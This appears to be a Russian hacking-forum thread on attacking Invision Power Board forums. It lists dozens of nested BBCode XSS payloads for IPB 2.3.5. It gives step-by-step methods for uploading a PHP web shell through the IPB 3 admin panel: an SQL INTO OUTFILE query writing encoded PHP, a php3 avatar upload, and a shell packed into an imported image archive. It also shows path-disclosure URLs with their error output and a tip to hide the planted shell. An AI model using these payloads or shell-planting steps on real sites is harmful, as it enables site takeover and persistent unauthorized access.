[*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic] H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic] I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic] J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic] K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic] 7) [*post=100]Clickme![*/post] A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post] B) [*post=100[*email=user@domain.com]][*/post][*/email] C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post] D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post] E) [*post=100[*member=admin]runs this site.]Clickme![*/post] F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog] G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post] 8) [*acronym='Laugh Out Loud']lol[*/acronym] A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym] B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym] C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym] D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym] E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym] F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym] G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow] H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym] 9) [*background=red]Red_background_behind_this_text[*/background] A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background] B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background] C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background] D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background] E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background] F) [*background=red[*entry=100]]Red[*/entry][*/background] LeverOne. 17.12.2009 |
Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):
вариант1: Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php' полный путь можно посмотреть так: ->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO шелл: http://site.ru/uploads/shell.php PS: Нужны соответствующие права вариант2: Форумы->Прикрепляемые файлы->Типы файлов жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да. Топаем в свой профиль: http://site.ru/index.php?app=core&module=usercp&tab=members&area= avatar грузим аву-шелл с расширением php3 и получаем шелл по адресу: http://site.ru/uploads/av-1.php3 ==================================== Раскрытие пути: Код:
http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1Код:
Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400Код:
http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members§ion=view&module=list&quickjump=AКод:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237Код:
http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump[]=AКод:
Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297 |
Множественные уязвимости I.P.B. Вообще, IPB кишит всяческими ошибками. В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив. Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие... XSS тоже можно накопать немало. Уязвимость: активная XSS.
|
Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:
https://forum.antichat.ru/showpost.php?p=977862&postcount=10 но небольшие изменения: 1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый 2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master" 3. Идем в нашу папочку (на примере Denwer) C:\WebServers\home\drup614.ru\www\public\style_ima ges\master и суем туда наш любимый wso2.php 4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz 5. В архиве файлик images-master.xml Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом 6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений Рядом с C:\WebServers\home\drup614.ru\www\public\style_ima ges\master появится C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2 где будет лежать все тоже самое, плюс наш шелл в итоге шелл будет по адресу: http://forum.site.ru/public/style_images/master2/wso2.php PS: не забудьте потом переместить шелл и удалить каталог master2 Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку |
| Время: 19:29 |